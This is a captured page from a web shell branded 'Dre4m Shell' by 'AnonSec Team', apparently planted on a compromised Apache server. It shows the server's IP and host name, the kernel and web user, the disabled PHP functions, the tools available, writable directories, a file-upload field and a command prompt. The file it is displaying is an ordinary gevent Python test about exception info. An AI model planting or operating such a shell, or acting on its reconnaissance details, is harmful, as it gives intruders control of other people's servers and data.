Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.133.107.188
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/gevent/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/gevent/tests/test__exc_info.py
import gevent
import sys
import gevent.testing as greentest
from gevent.testing import six
from gevent.testing import ExpectedException as ExpectedError

if not six.PY3:
    sys.exc_clear()

class RawException(Exception):
    pass


def hello(err):
    assert sys.exc_info() == (None, None, None), sys.exc_info()
    raise err


def hello2():
    try:
        hello(ExpectedError('expected exception in hello'))
    except ExpectedError:
        pass


class Test(greentest.TestCase):

    def test1(self):
        error = RawException('hello')
        expected_error = ExpectedError('expected exception in hello')
        try:
            raise error
        except RawException:
            self.expect_one_error()
            g = gevent.spawn(hello, expected_error)
            g.join()
            self.assert_error(ExpectedError, expected_error)
            self.assertIsInstance(g.exception, ExpectedError)

            try:
                raise
            except: # pylint:disable=bare-except
                ex = sys.exc_info()[1]
                self.assertIs(ex, error)

    def test2(self):
        timer = gevent.get_hub().loop.timer(0)
        timer.start(hello2)
        try:
            gevent.sleep(0.1)
            self.assertEqual(sys.exc_info(), (None, None, None))
        finally:
            timer.close()



if __name__ == '__main__':
    greentest.main()

Anon7 - 2022
AnonSec Team